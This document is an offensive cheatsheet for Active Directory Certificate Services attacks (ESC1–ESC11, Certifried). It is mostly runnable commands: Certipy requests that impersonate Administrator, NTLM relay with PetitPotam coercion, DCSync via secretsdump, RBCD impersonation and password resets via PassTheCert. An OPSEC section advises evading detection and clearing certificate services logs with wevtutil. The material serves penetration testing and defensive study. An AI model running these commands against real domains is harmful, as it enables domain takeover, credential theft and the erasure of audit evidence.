ADCS Attacks Comprehensive Cheatsheet¶
Overview¶
Active Directory Certificate Services (ADCS) attacks exploit misconfigurations in certificate templates, CA configuration, and access controls. ESC1-ESC11 represent different attack scenarios identified by SpecterOps research targeting certificate-based authentication in Windows environments.
Core ADCS Components¶
Certificate Infrastructure Elements:
- SAN: Subject Alternative Name - allows specifying alternate identities in certificates
- EKU: Extended Key Usage - defines certificate purposes and authentication methods
- CSR: Certificate Signing Request - request submitted to Certificate Authority
- CA: Certificate Authority - issues, validates, and manages digital certificates
Key Template Attributes:
- msPKI-Certificate-Name-Flag: Controls SAN specification (EnrolleeSuppliesSubject = 0x1)
- msPKI-Enrollment-Flag: Controls enrollment behavior and approval requirements
- pkiExtendedKeyUsage: Defines certificate purposes for authentication
- EDITF_ATTRIBUTESUBJECTALTNAME2: CA flag allowing SAN specification in requests
ADCS Attack Decision Matrix¶
Comprehensive Attack Selection Mindmap¶
graph TD
A[ADCS Attack Selection] --> B{What Access Do You Have?}
B -->|Domain User| C[Template-Based Attacks]
B -->|Local Admin on ADCS| D[ESC5 Attacks]
B -->|CA Permissions| E[CA-Based Attacks]
B -->|Write Access| F[Modification Attacks]
B -->|Network Position| G[Relay Attacks]
C --> C1[Check Template Permissions]
C1 --> C2{Template Vulnerable?}
C2 -->|ESC1: SAN + Client Auth| C3[Direct Exploitation]
C2 -->|ESC2: Any Purpose| C4[Same as ESC1]
C2 -->|ESC3: Agent Template| C5[Two-Stage Attack]
C2 -->|ESC9: No Security Ext| C6[UPN Manipulation]
D --> D1[Check ADCS Server]
D1 --> D2{Local Admin Rights?}
D2 -->|Yes| D3[Abuse SubCA Template]
D2 -->|Yes| D4[Manual Cert Approval]
E --> E1{What CA Rights?}
E1 -->|ManageCA| E2[ESC7: Enable Templates + Add Officer]
E1 -->|ManageCertificates| E3[ESC7: Approve Pending]
E1 -->|Both| E4[Full ESC7 Chain]
F --> F1{Write Permissions On?}
F1 -->|Template| F2[ESC4: Modify Template]
F1 -->|User Object| F3[Shadow Credentials + ESC9/10]
F1 -->|Computer Object| F4[RBCD + Certifried]
G --> G1{Relay Target?}
G1 -->|HTTP Enrollment| G2[ESC8: HTTP Relay]
G1 -->|RPC/ICPR| G3[ESC11: RPC Relay]
G1 -->|LDAPS| G4[PassTheCert Attacks]
C3 --> H[Request Cert with Target SAN]
C5 --> I[Get Agent Cert β Request on Behalf]
E2 --> J[Enable SubCA β Add Officer β Issue]
E3 --> K[Find Pending Template β Approve]
F2 --> L[Modify to ESC1 β Exploit β Restore]
G2 --> M[Coerce Auth β Relay β Get Cert]
Attack Decision Table¶
| Current Access | Target Object | Primary Attack | Secondary Options | Key Requirements |
|---|---|---|---|---|
| Domain User | Vulnerable Template | ESC1/ESC2 | Direct SAN request | EnrolleeSuppliesSubject + Client Auth |
| Domain User | Agent Template | ESC3 | Two-stage enrollment | Agent EKU + Target template |
| Template Write | Any Template | ESC4 | Convert to ESC1 | Modify permissions or attributes |
| Local Admin on ADCS | CA Server | ESC5 | ESC7-style attacks | Access to CA management console |
| CA Write (EDITF flag) | Any Template | ESC6 | SAN on any template | Unpatched (pre-May 2022) |
| ManageCA Rights | Certificate Authority | ESC7 | Enable templates + Officers | SubCA or pending templates |
| ManageCertificates | Pending Requests | ESC7 | Direct approval | Templates with manager approval |
| Network Position | HTTP Enrollment | ESC8 | NTLM Relay to HTTP | Web enrollment enabled |
| GenericWrite + Template | No Security Extension | ESC9 | UPN manipulation | Weak certificate mapping |
| GenericWrite + Registry | Weak Mapping | ESC10 | Certificate mapping abuse | RBCD chain required |
| Network Position | RPC Endpoint | ESC11 | NTLM Relay to RPC | IF_ENFORCEENCRYPTICERTREQUEST disabled |
| Computer Creation | Unpatched CA | Certifried | dNSHostName spoofing | Pre-May 2022 patch status |
ADCS Enumeration¶
Windows Enumeration¶
Native Windows Methods¶
Basic ADCS Discovery
# Check Cert Publishers group membership
net localgroup "Cert Publishers"
# Query Public Key Services container
Get-ADObject -SearchBase "CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Filter *
Requirements
- Domain-joined machine or runas /netonly
- RSAT tools installed
- Valid domain credentials
Certify Enumeration¶
Certify ADCS Discovery
# Basic certificate template enumeration
.\Certify.exe find
# Find vulnerable templates only
.\Certify.exe find /vulnerable
# Enumerate Certificate Authorities
.\Certify.exe cas
Linux Enumeration¶
NetExec ADCS Discovery¶
NetExec ADCS Module
# Discover ADCS infrastructure
netexec ldap <dc-ip> -u "user" -p "password" -M adcs
Certipy Enumeration¶
Certipy Comprehensive Enumeration
# Full ADCS enumeration
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout
# Find vulnerable templates only
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# Save BloodHound data
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound
ESC Attack Types¶
ESC1 - Template Allows SAN Specification¶
ESC1 Requirements¶
To abuse ESC1, the following conditions must be met:
- Enterprise CA grants enrollment rights to low-privileged users
- Manager approval disabled (Requires Manager Approval: False)
- No authorized signatures required (Authorized Signatures Required: 0)
- Template allows SAN specification (Enrollee Supplies Subject: True)
- Client Authentication EKU enabled (Client Authentication: True)
ESC1 Attack¶
ESC1 Linux Attack Chain
# Find ESC1 vulnerable templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# Request certificate with alternate SAN
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator@domain
# Authenticate with certificate
certipy auth -pfx administrator.pfx -username administrator -domain domain -dc-ip <dc-ip>
# Use TGT for access
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN.LOCAL
ESC2 - Any Purpose EKU¶
ESC2 Requirements¶
ESC2 requirements are identical to ESC1 with one key difference:
- Template specifies Any Purpose EKU (Extended Key Usage: Any Purpose)
- Or template defines no Extended Key Usage at all
- Can be used for any purpose including client authentication
ESC3 - Certificate Request Agent¶
ESC3 Requirements¶
ESC3 requires two certificate templates with specific configurations:
Template 1 (Enrollment Agent Requirements):
- Enterprise CA grants enrollment rights to low-privileged users
- Manager approval disabled
- Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)
Template 2 (Target Template Requirements):
- Allows enrollment via Certificate Request Agent
- Client Authentication EKU enabled
- No enrollment agent restrictions at CA level
ESC3 Attack¶
ESC3 Two-Stage Attack
# Step 1: Request enrollment agent certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <agent-template>
# Step 2: Request certificate on behalf of target user
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template 'User' -on-behalf-of 'domain\administrator' -pfx agent.pfx
# Step 3: Authenticate as target user
certipy auth -pfx administrator.pfx -username administrator -domain domain
ESC4 - Vulnerable Certificate Template Access Control¶
ESC4 Requirements¶
To abuse ESC4, specific permissions are required:
- User has write permissions over certificate template (WriteProperty, WriteDacl, WriteOwner)
- Ability to modify template attributes to introduce vulnerabilities
- Template modification rights through Full Control or specific ACEs
ESC4 Attack¶
ESC4 Automated Attack
# Save and modify template
certipy template -u 'user@domain' -p 'password' -template <template> -save-old
# Exploit modified template
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator
# Restore original template
certipy template -u 'user@domain' -p 'password' -template <template> -configuration <template>.json
ESC5 - Vulnerable PKI Object Access Control¶
ESC5 Requirements¶
To abuse ESC5, you need control over:
- The CA server's AD computer object
- The CA server's RPC/DCOM server
- Local Administrator rights on the ADCS server
- Any descendant AD object in CN=Public Key Services container
ESC5 Attack from Linux¶
ESC5 Local Admin Exploitation
# Setup proxy for internal network access
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@target
# Configure proxychains
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf
# Enumerate with local admin context
proxychains4 -q certipy find -u admin_user -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -stdout
# Request SubCA certificate (will fail initially)
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Note Request ID: X
# Issue the failed request using local admin privileges
proxychains4 -q certipy ca -u admin_user -p password -ca <ca-name> -issue-request X -target-ip <adcs-ip>
# Retrieve the issued certificate
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -retrieve X -target-ip <adcs-ip>
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2¶
ESC6 Requirements¶
ESC6 exploits CA-level misconfigurations:
- CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
- Any template allowing client authentication becomes vulnerable
- Vulnerability patched in May 2022 updates (CVE-2022-26923)
ESC6 Attack¶
ESC6 Exploitation
# Exploit any template with client auth
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User -upn Administrator@domain
ESC7 - Vulnerable Certificate Authority Access Control¶
ESC7 Requirements¶
ESC7 exploits dangerous CA permissions:
- ManageCA rights: Can modify CA configuration and add officers
- ManageCertificates rights: Can approve pending/failed requests
- Combination allows bypassing enrollment restrictions
ESC7 Attack Scenarios¶
Scenario 1: ManageCA Rights Full Chain
ESC7 ManageCA Exploitation
# Step 1: Check current permissions and templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout
# Look for: "ESC7: 'DOMAIN\\user' has dangerous permissions"
# Step 2: Enable SubCA template if disabled
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template 'SubCA'
# Step 3: Add yourself as certificate manager (officer)
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user
# Step 4: Request SubCA certificate (will fail due to permissions)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Save Request ID: X and respond 'y' to save private key
# Step 5: Issue the failed certificate using officer rights
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X
# Step 6: Retrieve the issued certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X
Scenario 2: ManageCertificates Rights with Pending Templates
ESC7 ManageCertificates Exploitation
# Step 1: Find templates requiring manager approval
certipy find -u 'user@domain' -p 'password' -stdout | grep -B5 -A10 "Manager Approval.*True"
# Step 2: Request certificate (will be pending)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <pending-template> -upn Administrator@domain
# Note Request ID: X
# Step 3: Approve pending request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X
# Step 4: Retrieve approved certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X
ESC8 - NTLM Relay to AD CS HTTP Endpoints¶
ESC8 Requirements¶
Conditions for ESC8 abuse:
- Web enrollment endpoint enabled on CA
- Certificate template allowing domain computer enrollment
- Template with Client Authentication EKU (e.g., Machine/Computer template)
- Ability to coerce authentication from target
ESC8 Attack¶
ESC8 NTLM Relay Attack
# Terminal 1: Setup relay listener
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController
# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>
# OR
coercer coerce -l <listener-ip> -t <target-ip> -u user -p password -d domain
# Certificate saved as: target.pfx
# Authenticate with certificate
certipy auth -pfx target.pfx
# Perform DCSync or create Silver Ticket
secretsdump.py 'target$'@dc.domain -hashes :<hash>
ESC9 - No Security Extension¶
ESC9 Requirements¶
ESC9 exploits weak certificate mapping:
- StrongCertificateBindingEnforcement != 2 OR CertificateMappingMethods contains UPN flag
- Template has CT_FLAG_NO_SECURITY_EXTENSION flag
- Template allows Client Authentication
- GenericWrite rights over any user account
ESC9 Attack¶
ESC9 Shadow Credentials Chain
# Step 1: Deploy Shadow Credentials
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Note hash: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# Step 2: Change target UPN to victim's UPN
certipy account update -u 'user@domain' -p 'password' -user target-user -upn victim@domain
# Step 3: Request certificate with victim's UPN
certipy req -u 'target-user@domain' -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -ca <ca-name> -template <esc9-template>
# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain
# Step 5: Authenticate as victim
certipy auth -pfx victim.pfx -domain domain
ESC10 - Weak Certificate Mappings¶
ESC10 Requirements¶
ESC10 exploits registry-level misconfigurations:
Case 1: Kerberos Authentication (StrongCertificateBindingEnforcement = 0)
- Allows weak certificate-to-account mapping
- Requires Windows April 2023 updates to be missing
Case 2: Schannel Authentication (CertificateMappingMethods = 0x4)
- Must target accounts without UPN (machine accounts, built-in accounts)
- Certificate authentication via LDAP shell required
ESC10 Attack¶
ESC10 Machine Account Takeover
# Step 1: Gain control over user account
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Step 2: Change UPN to DC machine account
certipy account update -u 'user@domain' -p 'password' -user target-user -upn 'dc$@domain'
# Step 3: Request certificate with DC UPN
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template User
# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain
# Step 5: Authenticate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
# Step 6: Configure RBCD
add_computer attacker-pc attacker123
set_rbcd dc$ attacker-pc$
# Step 7: Impersonate Administrator
getST.py -spn cifs/DC.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123
# Step 8: Access DC
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN
ESC11 - NTLM Relay to AD CS ICPR Endpoints¶
ESC11 Requirements¶
Conditions for ESC11 abuse:
- IF_ENFORCEENCRYPTICERTREQUEST flag not enforced on CA
- RPC/ICPR enrollment endpoints accessible
- Certificate template allowing domain computer enrollment
- Ability to coerce authentication from target
ESC11 Attack¶
ESC11 RPC Relay Attack
# Terminal 1: Setup RPC relay listener
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController
# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>
# Certificate saved as: target.pfx
# Continue with same post-exploitation as ESC8
certipy auth -pfx target.pfx
secretsdump.py 'target$'@dc.domain -hashes :<hash>
Certifried (CVE-2022-26923)¶
Certifried Requirements¶
To exploit Certifried:
- Unpatched CA (pre-May 2022)
- Ability to create or modify computer accounts
- Machine template or similar available
- Weak certificate mapping (no object SID in certificates)
Certifried Attack¶
Certifried Automated Attack
# Step 1: Check if vulnerable (no object SID)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User
# Look for: "Certificate has no object SID"
# Step 2: Create computer with target DNS name
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN.LOCAL
# Step 3: Request certificate as DC
certipy req -u 'FAKE$' -p '<generated-password>' -ca <ca-name> -template Machine
# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx
# Step 5: DCSync or Silver Ticket
secretsdump.py 'dc$'@domain -hashes :<hash>
PKINIT and Alternative Authentication¶
PKINIT Not Supported - PassTheCert¶
When PKINIT Fails¶
Common error indicating PKINIT not supported:
Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
PassTheCert Attack Methods¶
Certificate Key Extraction
# Extract private key from PFX
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key
# Set PEM passphrase when prompted
# Extract public key from PFX
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt
# Optional: Remove passphrase from key
openssl rsa -in administrator.key -out administrator-nopass.key
PassTheCert Attack Options:
DCSync via PassTheCert
# Grant DCSync rights to controlled user
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action modify_user -target controlled-user -elevate
# Perform DCSync
secretsdump.py 'domain/controlled-user:password'@<dc-ip>
RBCD via PassTheCert
# Create computer account
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action add_computer -computer-name 'FAKE$' -computer-pass password
# Configure RBCD
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action write_rbcd -delegate-to 'DC$' -delegate-from 'FAKE$'
# Impersonate Administrator
getST.py -spn cifs/dc.domain -impersonate Administrator domain/'FAKE$':password
Password Reset via PassTheCert
# Reset Administrator password
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
-domain domain -port 636 -action modify_user -target administrator -new-pass NewPassword123!
# Authenticate with new password
wmiexec.py administrator:NewPassword123!@<dc-ip>
Advanced Attack Integrations¶
Shadow Credentials Integration¶
Shadow Credentials + ADCS Chain
# Deploy Shadow Credentials for hash extraction
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Use extracted hash with ADCS attacks
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template <template>
# Authenticate with certificate
certipy auth -pfx certificate.pfx -domain domain
RBCD Integration¶
Certificate to RBCD Attack Chain
# Authenticate with certificate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
# Create computer account
add_computer attacker-pc attacker123
# Configure RBCD on target
set_rbcd target$ attacker-pc$
# Impersonate high-privilege user
getST.py -spn cifs/TARGET.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123
# Access target with TGT
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass TARGET.DOMAIN
Certificate Authentication Methods¶
Linux Certificate Usage¶
Linux Certificate Authentication Options
# TGT generation via Certipy
certipy auth -pfx certificate.pfx -username user -domain domain -dc-ip <dc-ip>
# SMB access with TGT
KRB5CCNAME=user.ccache smbexec.py -k -no-pass TARGET.DOMAIN
# WinRM access with TGT
KRB5CCNAME=user.ccache evil-winrm -i <target-ip> -r DOMAIN
# LDAP Shell access (for Schannel auth)
certipy auth -pfx cert.pfx -domain domain -dc-ip <dc-ip> -ldap-shell
Windows Certificate Usage¶
Windows Certificate Authentication
# Generate TGT and extract NT hash
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
# Create sacrificial logon session
.\Rubeus.exe createnetonly /program:powershell.exe /show
# Import ticket into session
.\Rubeus.exe ptt /ticket:<base64-ticket>
BloodHound Integration with Certipy¶
Setup and Configuration¶
BloodHound ADCS Fork Installation
# Generate ADCS data with Certipy
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound
# Generate standard BloodHound data
bloodhound-python -u 'user' -p 'password' -d domain -ns <dc-ip> --zip --dns-tcp
# Download ly4k's BloodHound fork
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
# Run BloodHound with ADCS support
./BloodHound-linux-x64/BloodHound --no-sandbox
# Import both ZIP files for complete ADCS attack paths
ADCS-Specific Queries¶
Available PKI queries in BloodHound fork:
- Shortest Paths to Misconfigured Certificate Template from Owned Principals (ESC1)
- Shortest Paths to Misconfigured Certificate Template (ESC2)
- Shortest Paths to Enrollment Agent Templates (ESC3)
- Shortest Paths to Vulnerable Certificate Template Access Control (ESC4)
- Shortest Paths to Vulnerable PKI Object Access Control (ESC5)
- Shortest Paths to Vulnerable Certificate Authority Access Control (ESC7)
- Find Principals with DCSync Rights
Extended Key Usage Reference¶
| EKU Purpose | Object Identifier (OID) | Authentication Use | Attack Relevance |
|---|---|---|---|
| Client Authentication | 1.3.6.1.5.5.7.3.2 | Domain user authentication | ESC1, ESC2, ESC6 |
| Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 | Smart card authentication | ESC1, ESC2 |
| Certificate Request Agent | 1.3.6.1.4.1.311.20.2.1 | Request certificates for others | ESC3 |
| PKINIT Client Authentication | 1.3.6.1.5.2.3.4 | Kerberos PKINIT authentication | Certificate auth |
| Any Purpose | 2.5.29.37.0 | Universal certificate usage | ESC2 |
| Subordinate CA | Multiple EKUs | CA certificate issuance | ESC7 with SubCA |
Troubleshooting Common Issues¶
Certificate Request Failures¶
Common Certificate Request Issues
DNS Resolution Errors:
# Add domain to /etc/hosts
echo "<dc-ip> domain.local DC.domain.local" >> /etc/hosts
# Use -dc-host parameter
certipy req -u 'user@domain' -p 'password' -dc-host domain.local -ca <ca-name> -template <template>
PKINIT Not Supported:
# Error: KDC_ERR_PADATA_TYPE_NOSUPP
# Solution: Use PassTheCert for LDAPS authentication instead
Template Access Denied:
# Error: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
# Check enrollment permissions
certipy find -u 'user@domain' -p 'password' -stdout | grep -A 10 "<template-name>"
Authentication Issues¶
Certificate Authentication Problems
Kerberos Clock Skew:
# Synchronize time with DC
sudo ntpdate <dc-ip>
# Or use rdate
sudo rdate -s <dc-ip>
Certificate Format Issues:
# Proper PFX conversion
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Verify certificate contents
openssl pkcs12 -in cert.pfx -info -nodes
Network and Proxy Issues¶
Proxy Configuration for Internal Networks
SSH Port Forwarding Setup:
# Create SOCKS proxy
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@jumphost
# Configure proxychains
cat >> /etc/proxychains.conf << EOF
# Comment out proxy_dns
#proxy_dns
# Add SOCKS proxy
socks4 127.0.0.1 9050
EOF
# Use with tools
proxychains4 -q certipy find -u user -p password -dc-ip <internal-dc>
OPSEC Considerations¶
High-Risk Activities¶
Activities Most Likely to Trigger Detection:
- Certificate requests with non-standard Subject Alternative Names
- Template modifications by non-administrative accounts
- Multiple certificate requests in short time periods
- Failed certificate requests followed by approvals (ESC7)
- Registry modifications to certificate mapping settings
- Mass certificate enrollments from single source
- Authentication coercion attempts
- LDAP modifications via PassTheCert
Stealth Recommendations¶
Operational Security Best Practices:
- Use existing legitimate certificate templates when possible
- Spread certificate requests over time to avoid bulk detection
- Clean up modified templates after successful exploitation
- Use certificate authentication during normal business hours
- Remove added CA officer permissions after attacks
- Restore original UPN values after ESC9/ESC10 attacks
- Delete created computer accounts post-exploitation
- Clear certificate request logs where possible
Detection Evasion¶
Log Management
# Clear certificate services logs (requires high privileges)
wevtutil cl "Microsoft-Windows-CertificateServices-CertificateServicesAuditEvents/Operational"
# Monitor for these Event IDs before clearing:
# 4887: Certificate Services approved a certificate request
# 4888: Certificate Services denied a certificate request
# 4890: Certificate settings changed for Certificate Services
Quick Attack Selection Guide¶
Decision Flow for ESC Attacks¶
graph TD
Start[Start Assessment] --> Check1{Can you enumerate ADCS?}
Check1 -->|Yes| Enum[Run: certipy find -vulnerable]
Check1 -->|No| NoADCS[No ADCS attacks possible]
Enum --> Vulns{What vulnerabilities found?}
Vulns -->|ESC1/2/3/9| Templates[Template-based attacks]
Vulns -->|ESC4| Modify[Can modify templates]
Vulns -->|ESC5| LocalAdmin[Local admin on ADCS]
Vulns -->|ESC6| CAFlag[EDITF flag set]
Vulns -->|ESC7| CAPerms[Have CA permissions]
Vulns -->|ESC8/11| Relay[Can relay authentication]
Vulns -->|None| CheckPerms[Check your permissions]
CAPerms --> CAType{What CA rights?}
CAType -->|ManageCA| EnableSubCA[Enable SubCA β Add Officer β Issue]
CAType -->|ManageCertificates| ApprovePending[Find pending templates β Approve]
CAType -->|Both| FullChain[Complete ESC7 chain]
Relay --> RelayType{What endpoint available?}
RelayType -->|HTTP| ESC8Attack[Coerce β HTTP relay β Get cert]
RelayType -->|RPC| ESC11Attack[Coerce β RPC relay β Get cert]
CheckPerms --> Special{Special access?}
Special -->|GenericWrite| Shadow[Shadow Creds + ESC9/10]
Special -->|Computer creation| Certifried[Certifried attack]
Special -->|Network position| Relay
Priority Attack Matrix¶
| Vulnerability | Complexity | Detection Risk | Success Rate | Recommended For |
|---|---|---|---|---|
| ESC1 | Low | Medium | High | Quick wins with template access |
| ESC4 | Medium | High | High | When template write access available |
| ESC7 | Medium | Medium | Very High | CA permissions exploitation |
| ESC8 | High | Low | High | Coercion + relay scenarios |
| Certifried | Low | Medium | High | Unpatched environments |
| ESC5 | Medium | Low | High | Local admin on ADCS server |
| ESC9/10 | High | Medium | Medium | Complex permission chains |
| ESC11 | High | Low | High | When ESC8 is patched |
Complete Attack Scenarios¶
Scenario: ESC7 with Template Discovery¶
ESC7 Complete Chain with Template Analysis
# Step 1: Initial enumeration - check what rights you have
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -A20 "Certificate Authorities"
# Look for: ManageCA or ManageCertificates under your user
# Step 2: If you have ManageCA, check available templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -B5 "Template Name"
# Look for: SubCA template or templates with "Requires Manager Approval: True"
# Step 3: Enable SubCA if needed
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template SubCA
# Step 4: Add yourself as officer
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user
# Step 5: Request privileged certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Note: Request ID 31, save private key
# Step 6: Issue the failed request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request 31
# Step 7: Retrieve certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve 31
# Step 8: Authenticate
certipy auth -pfx administrator.pfx
Scenario: ESC5 Local Admin Exploitation¶
ESC5 Attack via Local Administrator
# Context: You have local admin on ADCS server (not DC)
# Step 1: Setup access to internal network
sshpass -p 'HTB_@cademy_stdnt!' ssh -N -f -D 127.0.0.1:9050 htb-student@<jumphost>
# Step 2: Verify admin access
proxychains4 -q netexec smb <adcs-ip> -u localadmin -p password
# Should show: (Pwn3d!)
# Step 3: Enumerate with admin context
proxychains4 -q certipy find -u localadmin -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -target-ip <adcs-ip> -stdout
# Step 4: Abuse SubCA template as local admin
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Request ID: 10
# Step 5: Approve with local admin rights
proxychains4 -q certipy ca -u localadmin -p password -ca <ca-name> -issue-request 10 -target-ip <adcs-ip>
# Step 6: Retrieve and use
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -retrieve 10 -target-ip <adcs-ip>
Scenario: Relay Attack Decision¶
Choosing Between ESC8 and ESC11
# Step 1: Check which relay endpoints are available
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout
# If output shows:
# "ESC8: Web Enrollment is enabled" β Use HTTP relay
# "ESC11: Encryption is not enforced for ICPR" β Use RPC relay
# Both β Prefer ESC11 (less commonly monitored)
# ESC8 Path (HTTP):
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController
# ESC11 Path (RPC):
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController
# Step 2: Trigger coercion (same for both)
python3 PetitPotam.py -u user -p password -d domain <your-ip> <target-dc>
# Step 3: Post-exploitation (same for both)
certipy auth -pfx dc.pfx
secretsdump.py 'dc@domain -hashes :<hash>
Tool Installation and Setup¶
Linux Tools Installation¶
Essential Linux ADCS Tools
# Certipy-AD (primary tool)
pip3 install certipy-ad
# Impacket suite (latest version)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .
# PassTheCert for LDAPS attacks
git clone https://github.com/AlmondOffSec/PassTheCert
# Coercer for authentication coercion
pip3 install coercer
# PetitPotam
git clone https://github.com/topotam/PetitPotam
# NetExec for enumeration
pip3 install netexec
# BloodHound Python
pip3 install bloodhound
# PowerView.py for AD modifications
git clone https://github.com/aniqfakhrul/powerview.py
cd powerview.py && sudo python3 setup.py install
Windows Tools Setup¶
Essential Windows ADCS Tools:
- Certify.exe: https://github.com/GhostPack/Certify
- Rubeus.exe: https://github.com/GhostPack/Rubeus
- PowerView.ps1: https://github.com/PowerShellMafia/PowerSploit
- PassTheCert.exe: https://github.com/AlmondOffSec/PassTheCert
- PSPKI Module: Install-Module PSPKI
Critical Reminders¶
Certificate Request Management¶
When requests fail or pend:
- ALWAYS save the private key when prompted
- Note the Request ID for later retrieval
- Failed requests can be approved with proper rights
- Pending requests need ManageCertificates to approve
Template Selection for Attacks¶
Choosing the right template:
- SubCA: Best for ESC7 with ManageCA rights (most privileged)
- User/Machine: Standard templates for ESC6 or ESC8/11
- DomainController: Use when targeting DCs in relay attacks
- Custom vulnerable: Check enrollment rights match your access
Network Considerations¶
For internal ADCS servers:
- Use
-target-ipwhen ADCS and DC are different - Add
-nsand-dns-tcpfor DNS resolution - Configure proxychains for pivoting scenarios
- Ensure time sync for Kerberos authentication
Final Quick Reference¶
Most Common Attack Commands¶
Essential ADCS Attack Commands
# ESC1 - Direct SAN exploitation
certipy req -u 'user@domain' -p 'password' -ca <ca> -template <template> -upn Administrator
# ESC4 - Template modification
certipy template -u 'user@domain' -p 'password' -template <template> -save-old
# ESC7 - CA officer abuse
certipy ca -u 'user@domain' -p 'password' -ca <ca> -add-officer user
certipy ca -u 'user@domain' -p 'password' -ca <ca> -issue-request <id>
# ESC8/11 - Relay attacks
sudo certipy relay -target <endpoint> -template <template>
# Shadow Credentials integration
certipy shadow auto -u 'user@domain' -p 'password' -account target
# Certifried
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN
# PassTheCert when PKINIT fails
python3 passthecert.py -crt cert.crt -key cert.key -domain domain -action <action>
